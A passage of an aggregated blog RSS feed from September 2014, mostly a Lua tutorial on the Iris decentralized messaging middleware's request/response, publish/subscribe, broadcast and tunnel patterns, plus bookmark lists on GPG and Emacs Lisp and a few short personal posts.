&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;X
Y
X
Y
X
Y
X
Y
X
Y
Main Thread Quit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the very basics of spawning concurrent independent tasks. If all
your requirements are working on independent set of tasks, this is
almost all you need to learn about concurrency to get the job done. I
hope the real world were this simple! ;)&lt;/p&gt;

&lt;p&gt;As always, the entire code is also available online at:
https://github.com/chunkyguy/ConcurrencyExperiments&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 21 Sep 2014 08:54:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/09/21/concurrency-spawning-independent-tasks/</guid></item><item><title>Notes on atom feeds</title><link>https://srijan.ch/notes-on-atom-feeds</link><description>My notes on Atom feeds</description><author>Srijan Choudhary, all posts</author><pubDate>Sun, 21 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://srijan.ch/notes-on-atom-feeds</guid></item><item><title>A discourse on purpose</title><link>https://zrkrlc.com/notes/a-discourse-on-purpose/1411226100/</link><description>Epistemic status: philosophical spitballing with a bit of mathI.</description><author>Junk Heap Homotopy</author><pubDate>Sat, 20 Sep 2014 18:15:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/a-discourse-on-purpose/1411226100/</guid></item><item><title>Iris</title><link>https://blog.separateconcerns.com/2014-09-20-iris.html</link><description>&lt;p&gt;&lt;a href="https://github.com/project-iris/iris"&gt;Iris&lt;/a&gt; is a “decentralized Cloud messaging” middleware that I have really started looking into with the recent release of version 0.3.0. It had struck me as interesting when I first heard of it &lt;a href="https://www.youtube.com/watch?v=WTRORimPvHE"&gt;at FOSDEM 2014&lt;/a&gt;. The reason for that, beyond the great presentation skills of its author, is that it implements principles I think are sound to build SOA upon.&lt;/p&gt;
&lt;p&gt;In Iris, the logical and physical layers of services are cleanly separated. Each box in the system runs a local instance of the Iris broker (“Iris node”). The broker is written in Go, and all broker instances in the system converse in a proprietary protocol.&lt;/p&gt;
&lt;p&gt;To provide or consume a service, you never have to open a connection to a remote machine: you just talk to your local broker using the Iris relay protocol. This means you can use any programming language you want as long as you implement this protocol, which is much simpler than the protocol used between brokers. There are official clients for the relay protocol (Iris calls them “bindings”, but I think that name is confusing) in Go, Erlang and Java. I have &lt;a href="https://github.com/catwell/cw-lua/tree/master/iris-lua"&gt;written one in Lua&lt;/a&gt; that I will use for examples in the rest of this post (if you prefer, you will find corresponding code in Go for most examples &lt;a href="https://github.com/catwell/cw-lua/tree/2e74fcb3546ac4ef1a2f659e8012ff8a78fa7a36/iris-lua/examples"&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In Iris, services are represented by names. To provide a service you register with its name, to consume one you address it by its name. That means you never dial into a specific instance of a service explicitly. From the consumer’s point of view, the service could be provided by a single box as well as hundreds across different datacenters. Boxes can go up or down, and you will almost never have to care about it when writing code: it is an operational concern. The way Iris’ author puts it is that in Iris the smallest logical entity is a cluster, there is no concept of individual machine or process.&lt;/p&gt;
&lt;p&gt;Iris supports three usual basic patterns for communication: Request/Response, Publish/Subscribe and Broadcast. A fourth one, Tunnel, is slightly more complicated.&lt;/p&gt;
&lt;section id="RequestResponse"&gt;
&lt;h1&gt;Request/Response&lt;/h1&gt;
&lt;p&gt;This is the pattern everybody knows about from HTTP, and probably the workhorse of most SOAs. A client sends a request to a cluster, and a single node of the cluster answers it. Iris just does the messaging here: the request and the response are binary blobs, there is no notion of headers.&lt;/p&gt;
&lt;p&gt;Here is how it looks in Lua on the client side:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"

local c = iris.new()
assert(c:handshake(""))

local req = c:request("echo", "hello", 1000)
c:process_one()
local r = assert(req:response())

c:teardown()

print("reply arrived: " .. r)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and on the service side:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"

local c = iris.new()
assert(c:handshake("echo"))

c.handlers.request = function(req)
    print("request arrived: " .. req)
    return req
end

for i=1,5 do c:process_one() end

c:teardown()
&lt;/code&gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="PublishSubscribe"&gt;
&lt;h1&gt;Publish/Subscribe&lt;/h1&gt;
&lt;p&gt;Another well-known pattern. Consumers subscribe to a channel identified by a name, producers send messages into the channel and all subscribers receive them. There is no response from the subscriber. Channels are completely independent from clusters, i.e. channel “X” and cluster “X” can coexist and have nothing in common, and there is no restriction that a channel only works within a given cluster (any entity on the same Iris network can access it).&lt;/p&gt;
&lt;p&gt;Here is a publisher to channel “somechan” in Lua:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"
local socket = require "socket"

local c = iris.new()
assert(c:handshake(""))

for i=1,5 do
    c:publish("somechan", "message " .. i)
    socket.sleep(1)
end

c:teardown()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and a consumer:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"
local socket = require "socket"

local c = iris.new()
assert(c:handshake(""))

c.handlers.pubsub.somechan = function(msg)
    print("message arrived: " .. msg)
end

c:subscribe("somechan")

for i=1,5 do c:process_one() end

c:teardown()
&lt;/code&gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="Broadcast"&gt;
&lt;h1&gt;Broadcast&lt;/h1&gt;
&lt;p&gt;We have seen that requests are sent to a single instance of a cluster. What if you want to notify &lt;strong&gt;all&lt;/strong&gt; members of a cluster of some event? This is what Broadcast is for. It is kind of redundant with Publish/Subscribe (you could have all members of each cluster subscribe to a channel) but it is somehow cleaner to have a separate message type for this. You could use it to build more complicated things on top, for instance a full-fledged service bus.&lt;/p&gt;
&lt;p&gt;Here is how to send a broadcast message in Lua:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"

local c = iris.new()
assert(c:handshake(""))

c:broadcast("bcst", "hello")
c:teardown()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and how to handle them:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"

local c = iris.new()
assert(c:handshake("bcst"))

c.handlers.broadcast = function(msg)
    print("message arrived: " .. msg)
end

for i=1,5 do c:process_one() end

c:teardown()
&lt;/code&gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="Tunnel"&gt;
&lt;h1&gt;Tunnel&lt;/h1&gt;
&lt;p&gt;Tunnels are the last and most complicated way to communicate provided by Iris. To understand why we need them, remember how requests work.&lt;/p&gt;
&lt;p&gt;The fact that any member of a cluster can answer a request prevents you from doing anything stateful, because you cannot know if you are talking to the same instance or not in two separate requests. Moreover, the nature of the request and response does not allow any of them to be composed of multiple parts sent in separate messages. A request cannot trigger multiple responses.&lt;/p&gt;
&lt;p&gt;Tunnels are a solution to all that. When you open a tunnel, you address a cluster, but what you obtain is a persistent, bidirectional, ordered pipe to a specific instance of that cluster. You can think of it as a TCP socket or a circuit if you come from a telecom background (although there are no latency guarantees). Tunnels implement a throttling algorithm so that both ends of the tunnel can specify a maximum size for their input buffer.&lt;/p&gt;
&lt;p&gt;For now, here is what I think of tunnels in the context of a SOA: they are very powerful but tricky to use. If you can avoid them, you should. If not, you should not use raw tunnels anyway: you should define your protocol, write an abstraction for it and never expose the tunnel itself to the application.&lt;/p&gt;
&lt;p&gt;One valid use case I can see for tunnels, and which is used in Iris examples, is streaming. But this can go much further. Like the name indicates, you could tunnel most protocols into them, so they could serve as the foundation for some kind of VPN.&lt;/p&gt;
&lt;p&gt;Anyway, here is an example client with multiple responses and state:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"

local c = iris.new()
assert(c:handshake(""))

local tun = c:tunnel("tunnel", 1000)
tun:confirm()
tun:allow(1024)

tun.handlers.message = function(msg)
    if msg == "data" then
        print("got data")
    elseif msg == "continue" then
        print("got continue, sending request")
        tun:cosend("request")
    elseif msg == "bye" then
        print("got bye, quitting")
        tun:close()
    else
        print("got invalid message: " .. msg)
        tun:close()
    end
end

local xfer = tun:transfer("request")
while not xfer:run() do c:process_one() end

local op
while op ~= iris.OP.TUN_CLOSE do op = c:process_one() end

c:teardown()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and the server on the other end:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local iris = require "iris"

local c = iris.new()
assert(c:handshake("tunnel"))

local MAX_COUNT = 3
local count = 0

c.handlers.tunnel = function(tun)
    tun:allow(1024)
    tun.handlers.message = function(msg)
        if msg == "request" then
            if count &amp;lt; MAX_COUNT then
                count = count + 1
                print(string.format(
                    "got request, sending %dx data + continue",
                    count
                ))
                for i=1,count do tun:cosend("data") end
                tun:cosend("continue")
            else
                print("got request, sending bye")
                tun:cosend("bye")
            end
        else
            print("got invalid message: " .. msg)
            tun:close()
        end
    end
end

local op
while op ~= iris.OP.TUN_CLOSE do op = c:process_one() end

c:teardown()
&lt;/code&gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="Conclusion"&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Iris is a very interesting piece of software which implements a vision of systems that I like and cannot find in any other product out of the box. It is still very young and probably not ready for serious production yet, although I have found it stable during the (limited) testing I have done. Even though my current job does not involve SOA I will probably come back to it someday, so Iris will join the list of tools whose progress I follow attentively.&lt;/p&gt;
&lt;p&gt;On a side note, Iris was built for its authors’ thesis, and he is now looking for a sponsor to allow him to continue working on it. If you have the power to make that happen, give it a look. Think how VMWare / Pivotal must be happy of the deal they did with &lt;a href="http://invece.org/"&gt;Antirez&lt;/a&gt; :)&lt;/p&gt;
&lt;p&gt;Finally, if you try &lt;a href="https://github.com/catwell/iris-lua"&gt;my Iris client&lt;/a&gt; and find bugs, do not hesitate to report them on Github! I have no real world Iris system to try it on so there are certainly plenty.&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Sat, 20 Sep 2014 16:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-09-20-iris.html</guid></item><item><title>gpg/pgp bookmarks</title><link>https://xenodium.com/gpgpgp-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gpgtools.tenderapp.com/kb/gpg-keychain-faq/backup-or-transfer-your-keys"&gt;Backup or transfer your keys / GPG Keychain FAQ / Knowledge Base - GPGTools Support&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alexcabal.com/creating-the-perfect-gpg-keypair"&gt;Creating the perfect GPG keypair - Alex Cabal&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kensanata/ggg"&gt;Gmail, Gnus and GPG guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacsist.github.io/2019/01/01/gnupg2%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/"&gt;GnuPG2 snippets - emacsist&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r4.pdf"&gt;NIST Special Publication: Recommendation for Key Management&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://riseup.net/en/security/message-security/openpgp/best-practices"&gt;OpenPGP Best Practices - riseup.net&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@ahawkins/securing-my-digital-life-gpg-yubikey-ssh-on-macos-5f115cb01266"&gt;Securing My Digital Life: GPG, Yubikey, &amp;amp; SSH on macOS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gnupg.org/gph/en/manual.html"&gt;The GNU Privacy handbook&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 20 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/gpgpgp-bookmarks</guid></item><item><title>Emacs lisp bookmarks</title><link>https://xenodium.com/emacs-lisp-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/kaushalmodi/status/1059873868175826946?s=12"&gt;(setq search-whitespace-regexp &amp;quot;.*?&amp;quot;) isearch &amp;quot;abc ghi&amp;quot; matches &amp;quot;abcdefghi&amp;quot;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kinghom/elisp-guide"&gt;A quick guide to Emacs Lisp programming&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/alphapapa/unpackaged.el#font-compare"&gt;A snippet to try out fonts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Abo abo's &lt;a href="https://github.com/abo-abo/elisp-guide"&gt;Emacs Lisp Guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.wilfred.me.uk/blog/2015/03/19/adding-a-new-language-to-emacs/"&gt;Adding A New Language to Emacs (ie. writing a new major mode)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/alphapapa/emacs-package-dev-handbook"&gt;alphapapa's The Emacs Package Developer’s Handbook&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nullprogram.com/blog/2019/03/10/"&gt;An Async / Await Library for Emacs Lisp « null program&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://harryrschwartz.com/2014/04/08/an-introduction-to-emacs-lisp.html"&gt;An introduction to emacs lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://elpa.gnu.org/packages/path-iterator.html"&gt;An iterator for traversing a directory path&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.badykov.com/emacs/2020/05/05/async-company-mode-backend/"&gt;Async autocompletion in Emacs – Kraken of Thought&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://caiorss.github.io/Emacs-Elisp-Programming/Elisp_Snippets.html"&gt;Caio Rordrigues's Elisp Snippets&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/caiorss/Emacs-Elisp-Programming"&gt;Caio's Emacs - Programming and Customization&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://rosettacode.org/wiki/Category:Emacs_Lisp"&gt;Category:Emacs Lisp - Rosetta Code&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.tonyballantyne.com/emacs/lisp-loops/"&gt;Common Lisp Loops – Tony Ballantyne Tech&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.tonyballantyne.com/emacs/date-and-time/"&gt;Date and Time – Tony Ballantyne Tech&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.emacswiki.org/emacs/ElDoc"&gt;eldoc-mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/alphapapa/elexandria/blob/a22b12f3472baa617545d2f247ea41f5ef70a488/elexandria.el#L103"&gt;elexandria/elexandria.el's with-file-buffer macro&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/alhassy/ElispCheatSheet"&gt;ElispCheatSheet: Quick reference to the core language of Emacs —Editor MACroS.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/caiorss/Emacs-Elisp-Programming"&gt;Emacs - Elisp Programming and Customization&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://caiorss.github.io/Emacs-Elisp-Programming/Elisp_Programming.html"&gt;Emacs Elisp Programming guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chrisdone/elisp-guide/blob/master/README.md"&gt;Emacs Lisp Guide, chrisdone/elisp-guide · GitHub&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/larsmagne/emacs-sqlite3"&gt;Emacs sqlite binding of Emacs Lisp inspired by mruby-sqlite3&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.emacswiki.org/emacs/EmacsSymbolNotation"&gt;Emacs symbol notation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skeeto/emacs-bencode"&gt;emacs-bencode: Bencode package for Emacs Lisp (encoding losely structured data)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://newartisans.com/2016/01/pattern-matching-with-pcase/"&gt;Emacs: Pattern Matching with pcase&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://curiousprogrammer.wordpress.com/2009/06/08/error-handling-in-emacs-lisp/"&gt;Error Handling in Emacs Lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/9auzla/example_showing_how_useful_the_ampleregexps/"&gt;Example showing how useful the ample-regexps package is : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.emacswiki.org/emacs/find-library.el"&gt;find-library&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/functionreturnfunction/format-table"&gt;format-table: Parse and reformat tabular data in emacs (Looks great for converting between org, json, and other RDBMS)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/alphapapa/ts.el"&gt;GitHub - alphapapa/ts.el: Emacs date-time library&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/brandelune/nipel"&gt;GitHub - brandelune/nipel: New Introduction to Programming in Emacs Lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Lindydancer/face-explorer"&gt;GitHub - Lindydancer/face-explorer: Library and tools for faces and text properties&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/p3r7/awesome-elisp"&gt;GitHub - p3r7/awesome-elisp: A curated list of emacs-lisp development resources&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Wilfred/ht.el"&gt;GitHub - Wilfred/ht.el: The missing hash table library for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xuchunyang/elisp-demos/"&gt;GitHub - xuchunyang/elisp-demos: Demonstrate Emacs Lisp APIs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ruzkuku.com/texts/emacs-style.html"&gt;Good Style in modern Emacs Packages&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://harryrschwartz.com/2014/04/08/an-introduction-to-emacs-lisp.html"&gt;Harry R. Schwartz's An Introduction to Emacs Lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://yoo2080.wordpress.com/2013/09/22/how-to-choose-emacs-lisp-package-namespace-prefix"&gt;How to choose Emacs Lisp package namespace prefix&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nullprogram.com/blog/2013/02/06/"&gt;How to Make an Emacs Minor Mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacslife.com/how-to-read-emacs-lisp.html"&gt;How to read emacs lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://yoo2080.wordpress.com/2014/07/20/it-is-not-hard-to-edit-lisp-code/"&gt;It's not hard to edit Lisp code&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hypernumbers/learn_elisp_the_hard_way/blob/master/contents/why-did-I-write-this-book.rst"&gt;Learn elisp the hard way&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bzg.fr/en/learn-emacs-lisp-in-15-minutes/"&gt;Learn Emacs Lisp in 15 minutes - Bastien Guerry&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bzg.fr/learn-emacs-lisp-in-15-minutes.html"&gt;Learn emacs lisp in 15 minutes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thewanderingcoder.com/2015/01/emacs-org-mode-links-and-exported-html/"&gt;Links and exported HTML&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://yoo2080.wordpress.com/2013/08/07/living-with-emacs-lisp"&gt;Living with Emacs Lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gigamonkeys.com/book/loop-for-black-belts.html"&gt;LOOP for Black Belts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mbork.pl/2018-12-03_looking-back-p"&gt;Marcin Borkowski: 2018-12-03 looking-back-p&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mbork.pl/2019-03-25_Using_benchmark_to_measure_speed_of_Elisp_code"&gt;Marcin Borkowski: 2019-03-25 Using benchmark to measure speed of Elisp code&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.nongnu.org/emacs-tiny-tools/elisp-coding/"&gt;Nongnu elisp guidelines&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://newartisans.com/2016/01/pattern-matching-with-pcase/"&gt;Pattern matching with pcase&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.tonyballantyne.com/emacs/pattern-matching-pcase/"&gt;Pattern Matching: pcase – Tony Ballantyne Tech&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacslife.com/how-to-read-emacs-lisp.html"&gt;Read Lisp, Tweak Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://joelmccracken.github.io/entries/reading-writing-data-in-emacs-batch-via-stdin-stdout/"&gt;Reading from stdin and writing to stdout with Emacs batch&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thewanderingcoder.com/2015/02/refactoring-beginning-emacs-lisp-i-adding-tests/"&gt;Refactoring “Beginning Emacs Lisp”: I: Adding Tests&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/equwal/89b1ef5ac8d4d737cfd37f66e9ba4895"&gt;Selecting and trying out different fonts in Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/purcell/elisp-slime-nav"&gt;Slime-style navigation for Emacs Lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hungyi.net/posts/split-list-into-batches-elisp/"&gt;Split a List Into Batches Using Emacs Lisp - Hung-Yi’s Journal&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zck.me/testing-buffer-modifying-emacs-code"&gt;Testing Emacs code that modifies buffers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nic.ferrier.me.uk/blog/2012_07/tips-and-tricks-for-emacslisp"&gt;Tips on Emacs Lisp programming&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://endlessparentheses.com/understanding-letf-and-how-it-replaces-flet.html"&gt;Understanding letf and how it replaces flet · Endless Parentheses&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/larsmagne/vpt.el/blob/master/vpt.el"&gt;Variable Pitch Tables&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/larsmagne/vpt.el"&gt;vpt.el: An Emacs package to display tabular data with variable pitch fonts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/larsmagne/watch-directory.el/blob/master/watch-directory.el"&gt;Watch a directory using elisp (larsmagne)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/larsmagne/watch-directory.el/blob/master/watch-directory.el"&gt;watch-directory.el watches a directory for new files&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/43nh3h/whats_the_best_practice_to_write_emacslispat_2016/"&gt;What's the best practice to write emacs-lisp (at 2016)? (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacs.stackexchange.com/questions/2868/whats-wrong-with-find-file-noselect"&gt;What's wrong with `find-file-noselect`? (Emacs Stack Exchange)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wikemacs.org/wiki/Emacs_Lisp_Cookbook"&gt;Wikemacs's Emacs Lisp Cookbook&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://with-emacs.com/posts/tutorials/almost-all-you-need-to-know-about-variables/"&gt;with-emacs · (Almost) All You Need to Know About Variables&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/itiut@github/items/d917eafd6ab255629346"&gt;with-suppressed-message macro&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=XjKtkEMUYGc&amp;amp;feature=youtu.be"&gt;Writing a Spotify Client&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://iloveemacs.wordpress.com/2016/02/27/writing-web-apps-in-emacs-lisp/"&gt;Writing Web apps in Emacs Lisp (simple-httpd)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ergoemacs.org/emacs/elisp_symbol.html"&gt;Xah Lee's Emacs Lisp Symbol (tutorial)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ergoemacs.org/emacs/elisp_common_functions.html"&gt;Xah's Common Emacs Lisp Functions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ergoemacs.org/emacs/elisp_idioms_batch.html"&gt;Xah's Emacs Lisp idioms for Text Processing in Batch Style&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ergoemacs.org/emacs/elisp.html"&gt;Xah's Emacs Lisp Tutorial&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bddean/xml-plus"&gt;XML utilities for Emacs lisp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xuchunyang/elisp-demos/blob/master/elisp-demos.org"&gt;Xu Chunyang's Elisp demos/examples/snippets &lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 20 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-lisp-bookmarks</guid></item><item><title>2014-09-20/01</title><link>https://ho.dges.online/pictures/2014-09-20-01/</link><description>&lt;p&gt;Ready for another day fighting crime&amp;hellip;&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 20 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-09-20-01/</guid></item><item><title>2014-09-20/02</title><link>https://ho.dges.online/pictures/2014-09-20-02/</link><description/><author>ho.dges.online</author><pubDate>Sat, 20 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-09-20-02/</guid></item><item><title>Screenshot Saturday 190</title><link>https://etodd.io/2014/09/19/screenshot-saturday-190/</link><description>&lt;p&gt;Well friends, Lemma is still on pause while I do some contract work. I also have only a few slides done for my shader presentation next week. This whole month is crazy. But I thought I'd hijack this dev blog to show you the game I'm working on, because it's starting to look kinda cool!&lt;/p&gt;
&lt;p&gt;It's a top-down iOS survival shooter designed as a sort of franchise tie-in. The budget is pretty low so most of the assets are pulled from the Unity asset store. I've only done a few models myself, mostly just weapons.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 20 Sep 2014 01:57:02 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/09/19/screenshot-saturday-190/</guid></item><item><title>Braaaaaainsss</title><link>https://liza.io/braaaaaainsss/</link><description>&lt;p&gt;I appear to have gotten myself into a bit of a mess.&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Make a snail brain/nerve-cluster for your snails,&amp;rdquo; they said. &amp;ldquo;It&amp;rsquo;ll be easy&amp;rdquo;, they said.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Fri, 19 Sep 2014 23:02:51 GMT</pubDate><guid isPermaLink="true">https://liza.io/braaaaaainsss/</guid></item><item><title>Emacs bookmarks</title><link>https://xenodium.com/emacs-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://christiantietze.de/posts/2021/06/emacs-center-window-on-current-monitor/"&gt;Multi-Monitor Compatible Code to Center Emacs Frames on Screen • Christian Tietze&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://karthinks.com/software/bridging-islands-in-emacs-1/"&gt;Bridging Islands in Emacs: re-builder and query-replace-regexp | Karthinks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fosskers.ca/en/blog/contributing-to-emacs"&gt;Colin Woodbury - Contributing to Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jrmjrm/configuring-emacs-and-eglot-to-work-with-astro-language-server-9408eb709ab0"&gt;Configuring Emacs and Eglot to work with Astro language server | by Jayaram |…&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://willschenk.com/articles/2020/tramp_tricks/"&gt;Emacs Tramp tricks&lt;/a&gt;.&lt;/li&gt;
